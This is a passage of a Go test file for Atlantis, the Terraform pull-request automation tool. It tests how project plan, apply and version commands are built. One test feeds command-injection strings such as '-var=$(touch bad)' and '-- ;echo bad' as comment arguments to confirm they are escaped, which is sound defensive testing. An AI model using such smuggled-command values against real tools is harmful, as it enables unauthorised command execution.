DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, "project3": map[string]any{ "main.tf": nil, }, }, AtlantisYAML: `version: 3 projects: - dir: project1 # project1 uses the defaults - dir: project2 # project2 has autoplan disabled but should use default when_modified autoplan: enabled: false - dir: project3 # project3 has an empty when_modified autoplan: enabled: false when_modified: []`, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, Exp: []expCtxFields{ { ProjectName: "", RepoRelDir: "project1", Workspace: "default", }, { ProjectName: "", RepoRelDir: "project2", Workspace: "default", }, }, }, "follow autodiscover enabled config": { DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, "project3": map[string]any{ "main.tf": nil, }, }, AtlantisYAML: `version: 3 autodiscover: mode: enabled projects: - name: project1-custom-name dir: project1`, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, // project2 is autodiscovered, whereas project1 is not Exp: []expCtxFields{ { ProjectName: "project1-custom-name", RepoRelDir: "project1", Workspace: "default", }, { ProjectName: "", RepoRelDir: "project2", Workspace: "default", }, }, }, "autodiscover enabled but ignoring explicit project": { DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, "project3": map[string]any{ "main.tf": nil, }, }, AtlantisYAML: `version: 3 autodiscover: mode: enabled ignore_paths: - project1 projects: - name: project1-custom-name dir: project1`, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, // project2 is autodiscover-ignored, but configured explicitly so added // project1 is autodiscoverd as normal Exp: []expCtxFields{ { ProjectName: "project1-custom-name", RepoRelDir: "project1", Workspace: "default", }, { ProjectName: "", RepoRelDir: "project2", Workspace: "default", }, }, }, "autodiscover enabled but project excluded by empty when_modified": { DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, "project3": map[string]any{ "main.tf": nil, }, }, AtlantisYAML: `version: 3 autodiscover: mode: enabled projects: - dir: project1 autoplan: when_modified: []`, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, Exp: []expCtxFields{ { ProjectName: "", RepoRelDir: "project2", Workspace: "default", }, }, }, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig for name, c := range cases { t.Run(name, func(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, c.DirStructure) workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) if c.AtlantisYAML != "" { err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) Ok(t, err) } globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, c.ParallelPlanEnabledUserCfg, c.ParallelApplyEnabledUserCfg, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) ctxs, err := builder.BuildPlanCommands( &command.Context{ Log: logger, Scope: scope, }, &events.CommentCommand{ RepoRelDir: "", Flags: nil, Name: command.Plan, Verbose: true, Workspace: "", ProjectName: "", }) Ok(t, err) Equals(t, len(c.Exp), len(ctxs)) for i, actCtx := range ctxs { expCtx := c.Exp[i] Equals(t, expCtx.ProjectName, actCtx.ProjectName) Equals(t, expCtx.RepoRelDir, actCtx.RepoRelDir) Equals(t, expCtx.Workspace, actCtx.Workspace) Equals(t, expCtx.ExpParallelPlan, actCtx.ParallelPlanEnabled) Equals(t, expCtx.ExpParallelApply, actCtx.ParallelApplyEnabled) } }) } } // Test building apply command for multiple projects when the comment // isn't for a specific project, i.e. atlantis apply. // In this case we should apply all outstanding plans. func TestDefaultProjectCommandBuilder_BuildMultiApply(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, map[string]any{ "workspace1": map[string]any{ "project1": map[string]any{ "main.tf": nil, "workspace.tfplan": nil, }, "project2": map[string]any{ "main.tf": nil, "workspace.tfplan": nil, }, }, "workspace2": map[string]any{ "project1": map[string]any{ "main.tf": nil, "workspace.tfplan": nil, }, "project2": map[string]any{ "main.tf": nil, "workspace.tfplan": nil, }, }, }) // Initialize git repos in each workspace so that the .tfplan files get // picked up. runCmd(t, filepath.Join(tmpDir, "workspace1"), "git", "init") runCmd(t, filepath.Join(tmpDir, "workspace2"), "git", "init") workingDir := mocks.NewMockWorkingDir() When(workingDir.GetPullDir( Any[models.Repo](), Any[models.PullRequest]())). ThenReturn(tmpDir, nil) logger := logging.NewNoopLogger(t) userConfig := defaultUserConfig globalCfgArgs := valid.GlobalCfgArgs{} scope := metricstest.NewLoggingScope(t, logger, "atlantis") terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, nil, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) ctxs, err := builder.BuildApplyCommands( &command.Context{ Log: logger, Scope: scope, }, &events.CommentCommand{ RepoRelDir: "", Flags: nil, Name: command.Apply, Verbose: false, Workspace: "", ProjectName: "", }) Ok(t, err) Equals(t, 4, len(ctxs)) Equals(t, "project1", ctxs[0].RepoRelDir) Equals(t, "workspace1", ctxs[0].Workspace) Equals(t, "project2", ctxs[1].RepoRelDir) Equals(t, "workspace1", ctxs[1].Workspace) Equals(t, "project1", ctxs[2].RepoRelDir) Equals(t, "workspace2", ctxs[2].Workspace) Equals(t, "project2", ctxs[3].RepoRelDir) Equals(t, "workspace2", ctxs[3].Workspace) } // Test that if a directory has a list of workspaces configured then we don't // allow plans for other workspace names. func TestDefaultProjectCommandBuilder_WrongWorkspaceName(t *testing.T) { RegisterMockTestingT(t) workingDir := mocks.NewMockWorkingDir() tmpDir := DirStructure(t, map[string]any{ "pulldir": map[string]any{ "notconfigured": map[string]any{}, }, }) repoDir := filepath.Join(tmpDir, "pulldir/notconfigured") yamlCfg := `version: 3 projects: - dir: . workspace: default - dir: . workspace: staging ` err := os.WriteFile(filepath.Join(repoDir, valid.DefaultAtlantisFile), []byte(yamlCfg), 0600) Ok(t, err) When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(repoDir, nil) When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(repoDir, nil) globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, nil, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) ctx := &command.Context{ HeadRepo: models.Repo{}, Pull: models.PullRequest{}, User: models.User{}, Log: logger, Scope: scope, } _, err = builder.BuildPlanCommands(ctx, &events.CommentCommand{ RepoRelDir: ".", Flags: nil, Name: command.Plan, Verbose: false, Workspace: "notconfigured", ProjectName: "", }) ErrEquals(t, "running commands in workspace \"notconfigured\" is not allowed because this directory is only configured for the following workspaces: default, staging", err) } // Test that extra comment args are escaped. func TestDefaultProjectCommandBuilder_EscapeArgs(t *testing.T) { cases := []struct { ExtraArgs []string ExpEscapedArgs []string }{ { ExtraArgs: []string{"arg1", "arg2"}, ExpEscapedArgs: []string{`\a\r\g\1`, `\a\r\g\2`}, }, { ExtraArgs: []string{"-var=$(touch bad)"}, ExpEscapedArgs: []string{`\-\v\a\r\=\$\(\t\o\u\c\h\ \b\a\d\)`}, }, { ExtraArgs: []string{"-- ;echo bad"}, ExpEscapedArgs: []string{`\-\-\ \;\e\c\h\o\ \b\a\d`}, }, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig for _, c := range cases { t.Run(strings.Join(c.ExtraArgs, " "), func(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, map[string]any{ "main.tf": nil, }) workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn([]string{"main.tf"}, nil) globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) var actCtxs []command.ProjectContext var err error actCtxs, err = builder.BuildPlanCommands(&command.Context{ Log: logger, Scope: scope, }, &events.CommentCommand{ RepoRelDir: ".", Flags: c.ExtraArgs, Name: command.Plan, Verbose: false, Workspace: "default", }) Ok(t, err) Equals(t, 1, len(actCtxs)) actCtx := actCtxs[0] Equals(t, c.ExpEscapedArgs, actCtx.EscapedCommentArgs) }) } } // Test that terraform version is used when specified in terraform configuration func TestDefaultProjectCommandBuilder_TerraformVersion(t *testing.T) { // For the following tests: // If terraform configuration is used, result should be `0.12.8`. // If project configuration is used, result should be `0.12.6`. // If default is to be used, result should be `nil`. baseVersionConfig := ` terraform { required_version = "0.12.8" } ` atlantisYamlContent := ` version: 3 projects: - dir: project1 # project1 uses the defaults terraform_version: v0.12.6 ` type testCase struct { DirStructure map[string]any AtlantisYAML string ModifiedFiles []string Exp map[string]string } testCases := make(map[string]testCase) // atlantis.yaml should take precedence over terraform config testCases["with project config and terraform config"] = testCase{ DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": baseVersionConfig, }, valid.DefaultAtlantisFile: atlantisYamlContent, }, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, Exp: map[string]string{ "project1": "0.12.6", }, } testCases["with project config only"] = testCase{ DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, valid.DefaultAtlantisFile: atlantisYamlContent, }, ModifiedFiles: []string{"project1/main.tf"}, Exp: map[string]string{ "project1": "0.12.6", }, } testCases["neither project config or terraform config"] = testCase{ DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, }, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, Exp: map[string]string{ "project1": "", }, } testCases["project with different terraform config"] = testCase{ DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": baseVersionConfig, }, "project2": map[string]any{ "main.tf": strings.ReplaceAll(baseVersionConfig, "0.12.8", "0.12.9"), }, }, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, Exp: map[string]string{ "project1": "0.12.8", "project2": "0.12.9", }, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig for name, testCase := range testCases { t.Run(name, func(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, testCase.DirStructure) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(testCase.ModifiedFiles, nil) workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } terraformClient := tfclientmocks.NewMockClient() When(terraformClient.DetectVersion(Any[logging.SimpleLogging](), Any[string]())).Then(func(params []Param) ReturnValues { projectName := filepath.Base(params[1].(string)) testVersion := testCase.Exp[projectName] if testVersion != "" { v, _ := version.NewVersion(testVersion) return []ReturnValue{v} } return nil }) builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) actCtxs, err := builder.BuildPlanCommands( &command.Context{ Log: logger, Scope: scope, }, &events.CommentCommand{ RepoRelDir: "", Flags: nil, Name: command.Plan, Verbose: false, }) Ok(t, err) Equals(t, len(testCase.Exp), len(actCtxs)) for _, actCtx := range actCtxs { if testCase.Exp[actCtx.RepoRelDir] != "" { Assert(t, actCtx.TerraformVersion != nil, "TerraformVersion is nil, not %s for %s", testCase.Exp[actCtx.RepoRelDir], actCtx.RepoRelDir) Equals(t, testCase.Exp[actCtx.RepoRelDir], actCtx.TerraformVersion.String()) } else { Assert(t, actCtx.TerraformVersion == nil, "TerraformVersion is supposed to be nil.") } } }) } } // Test that we don't clone the repo if there were no changes based on the atlantis.yaml file. func TestDefaultProjectCommandBuilder_SkipCloneNoChanges(t *testing.T) { cases := []struct { AtlantisYAML string IsFork bool ExpectedCtxs int ExpectedClones int ExpectedGetFileContents int ModifiedFiles []string IncludeGitUntrackedFiles bool }{ { AtlantisYAML: ` version: 3 projects: - dir: dir1`, ExpectedCtxs: 0, ExpectedClones: 0, ExpectedGetFileContents: 1, ModifiedFiles: []string{"dir2/main.tf"}, IncludeGitUntrackedFiles: false, }, { AtlantisYAML: ` version: 3 projects: - dir: dir1`, ExpectedCtxs: 0, ExpectedClones: 1, ExpectedGetFileContents: 0, ModifiedFiles: []string{"dir2/main.tf"}, IncludeGitUntrackedFiles: true, }, { AtlantisYAML: ` version: 3 projects: - dir: dir1`, IsFork: true, ExpectedCtxs: 0, ExpectedClones: 0, ExpectedGetFileContents: 1, ModifiedFiles: []string{"dir2/main.tf"}, }, { AtlantisYAML: ` version: 3 parallel_plan: true`, ExpectedCtxs: 0, ExpectedClones: 1, ExpectedGetFileContents: 1, ModifiedFiles: []string{"README.md"}, IncludeGitUntrackedFiles: false, }, { AtlantisYAML: ` version: 3 autodiscover: mode: enabled projects: - dir: dir1`, ExpectedCtxs: 0, ExpectedClones: 1, ExpectedGetFileContents: 1, ModifiedFiles: []string{"dir2/main.tf"}, IncludeGitUntrackedFiles: false, }, } userConfig := defaultUserConfig userConfig.SkipCloneNoChanges = true for _, c := range cases { RegisterMockTestingT(t) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) When(vcsClient.SupportsSingleFileDownload(Any[models.Repo]())).ThenReturn(true) When(vcsClient.GetFileContent( Any[logging.SimpleLogging](), Any[models.Repo](), Any[string](), Any[string]())).ThenReturn(true, []byte(c.AtlantisYAML), nil) workingDir := mocks.NewMockWorkingDir() logger := logging.NewNoopLogger(t) globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } scope := metricstest.NewLoggingScope(t, logger, "atlantis") terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, c.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) var actCtxs []command.ProjectContext var err error baseRepo := models.Repo{Owner: "owner"} headRepo := baseRepo if c.IsFork { headRepo.Owner = "repoForker" } actCtxs, err = builder.BuildAutoplanCommands(&command.Context{ HeadRepo: headRepo, Pull: models.PullRequest{ BaseRepo: baseRepo, }, User: models.User{}, Log: logger, Scope: scope, PullRequestStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, }) Ok(t, err) Equals(t, c.ExpectedCtxs, len(actCtxs)) workingDir.VerifyWasCalled(Times(c.ExpectedClones)).Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]()) res := vcsClient.VerifyWasCalled(Times(c.ExpectedGetFileContents)).GetFileContent(Any[logging.SimpleLogging](), Any[models.Repo](), Any[string](), Any[string]()) if c.ExpectedGetFileContents > 0 { _, actRepo, _, _ := res.GetCapturedArguments() Equals(t, headRepo, actRepo) } } } func TestDefaultProjectCommandBuilder_WithPolicyCheckEnabled_BuildAutoplanCommand(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, map[string]any{ "main.tf": nil, }) logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn([]string{"main.tf"}, nil) globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: false, PolicyCheckEnabled: true, } globalCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs) terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( true, &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), globalCfg, &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) ctxs, err := builder.BuildAutoplanCommands(&command.Context{ PullRequestStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Log: logger, Scope: scope, }) Ok(t, err) Equals(t, 2, len(ctxs)) planCtx := ctxs[0] policyCheckCtx := ctxs[1] Equals(t, command.Plan, planCtx.CommandName) Equals(t, globalCfg.Workflows["default"].Plan.Steps, planCtx.Steps) Equals(t, command.PolicyCheck, policyCheckCtx.CommandName) Equals(t, globalCfg.Workflows["default"].PolicyCheck.Steps, policyCheckCtx.Steps) } // Test building version command for multiple projects func TestDefaultProjectCommandBuilder_BuildVersionCommand(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, map[string]any{ "workspace1": map[string]any{ "project1": map[string]any{ "main.tf": nil, "workspace.tfplan": nil, }, "project2": map[string]any{ "main.tf": nil, "workspace.tfplan": nil, }, }, "workspace2": map[string]any{ "project1": map[string]any{ "main.tf": nil, "workspace.tfplan": nil, }, "project2": map[string]any{ "main.tf": nil, "workspace.tfplan": nil, }, }, }) // Initialize git repos in each workspace so that the .tfplan files get // picked up. runCmd(t, filepath.Join(tmpDir, "workspace1"), "git", "init") runCmd(t, filepath.Join(tmpDir, "workspace2"), "git", "init") workingDir := mocks.NewMockWorkingDir() When(workingDir.GetPullDir( Any[models.Repo](), Any[models.PullRequest]())). ThenReturn(tmpDir, nil) logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: false, } terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, nil, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) ctxs, err := builder.BuildVersionCommands( &command.Context{ Log: logger, Scope: scope, }, &events.CommentCommand{ RepoRelDir: "", Flags: nil, Name: command.Version, Verbose: false, Workspace: "", ProjectName: "", }) Ok(t, err) Equals(t, 4, len(ctxs)) Equals(t, "project1", ctxs[0].RepoRelDir) Equals(t, "workspace1", ctxs[0].Workspace) Equals(t, "project2", ctxs[1].RepoRelDir) Equals(t, "workspace1", ctxs[1].Workspace) Equals(t, "project1", ctxs[2].RepoRelDir) Equals(t, "workspace2", ctxs[2].Workspace) Equals(t, "project2", ctxs[3].RepoRelDir) Equals(t, "workspace2", ctxs[3].Workspace) } // Test func TestDefaultProjectCommandBuilder_BuildPlanCommands_Single_With_RestrictFileList_And_IncludeGitUntrackedFiles(t *testing.T) { testDir1 := "directory-1" testDir2 := "directory-2" cases := []struct { Description string AtlantisYAML string DirectoryStructure map[string]any ModifiedFiles []string UntrackedFiles []string Cmd events.CommentCommand ExpRepoRelDir string ExpErr string }{ { Description: "planning a git untracked file project in a modified directory", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: testDir1 + "/ci-cdktf.out/stacks/test", Workspace: "default", }, DirectoryStructure: map[string]any{ testDir1: map[string]any{ "main.ts": nil, }, }, ModifiedFiles: []string{testDir1 + "/main.ts"}, UntrackedFiles: []string{testDir1 + "/ci-cdktf.out/stacks/test/cdk.tf.json"}, ExpRepoRelDir: testDir1 + "/ci-cdktf.out/stacks/test", }, { Description: "planning a git untracked file project outside a modified directory", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: testDir2 + "/ci-cdktf.out/stacks/test", Workspace: "default", }, DirectoryStructure: map[string]any{ testDir1: map[string]any{ "main.ts": nil, }, }, ModifiedFiles: []string{testDir1 + "/main.ts"}, UntrackedFiles: []string{testDir1 + "/ci-cdktf.out/stacks/test/cdk.tf.json"}, ExpErr: "the dir \"" + testDir2 + "/ci-cdktf.out/stacks/test\" is not in the plan list of this pull request", }, } globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig userConfig.RestrictFileList = true userConfig.IncludeGitUntrackedFiles = true for _, c := range cases { t.Run(c.Description+"_"+command.Plan.String(), func(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, c.DirectoryStructure) workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetGitUntrackedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(c.UntrackedFiles, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) if c.AtlantisYAML != "" { err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) Ok(t, err) } terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, // policyChecksSupported &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) var actCtxs []command.ProjectContext var err error cmd := c.Cmd actCtxs, err = builder.BuildPlanCommands(&command.Context{ Log: logger, Scope: scope, }, &cmd) if c.ExpErr != "" { ErrEquals(t, c.ExpErr, err) return } Ok(t, err) Equals(t, 1, len(actCtxs)) actCtx := actCtxs[0] Equals(t, c.ExpRepoRelDir, actCtx.RepoRelDir) }) } } func TestDefaultProjectCommandBuilder_BuildPlanCommands_with_IncludeGitUntrackedFiles(t *testing.T) { testDir1 := "directory-1" cases := []struct { Description string AtlantisYAML string DirectoryStructure map[string]any ModifiedFiles []string UntrackedFiles []string Cmd events.CommentCommand ExpRepoRelDir string ExpErr string }{ { Description: "planning with a git untracked file", Cmd: events.CommentCommand{ Name: command.Plan, }, DirectoryStructure: map[string]any{ testDir1: map[string]any{ "main.ts": nil, "ci-cdktf.out": map[string]any{ "stacks": map[string]any{ "test": map[string]any{ "cdk.tf.json": nil, }, }, }, }, }, ModifiedFiles: []string{testDir1 + "/main.ts"}, UntrackedFiles: []string{testDir1 + "/ci-cdktf.out/stacks/test/cdk.tf.json"}, ExpRepoRelDir: testDir1 + "/ci-cdktf.out/stacks/test", }, } globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig userConfig.IncludeGitUntrackedFiles = true userConfig.AutoplanFileList = "**/cdk.tf.json" for _, c := range cases { t.Run(c.Description+"_"+command.Plan.String(), func(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, c.DirectoryStructure) workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetGitUntrackedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(c.UntrackedFiles, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) if c.AtlantisYAML != "" { err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) Ok(t, err) } terraformClient := tfclientmocks.NewMockClient() 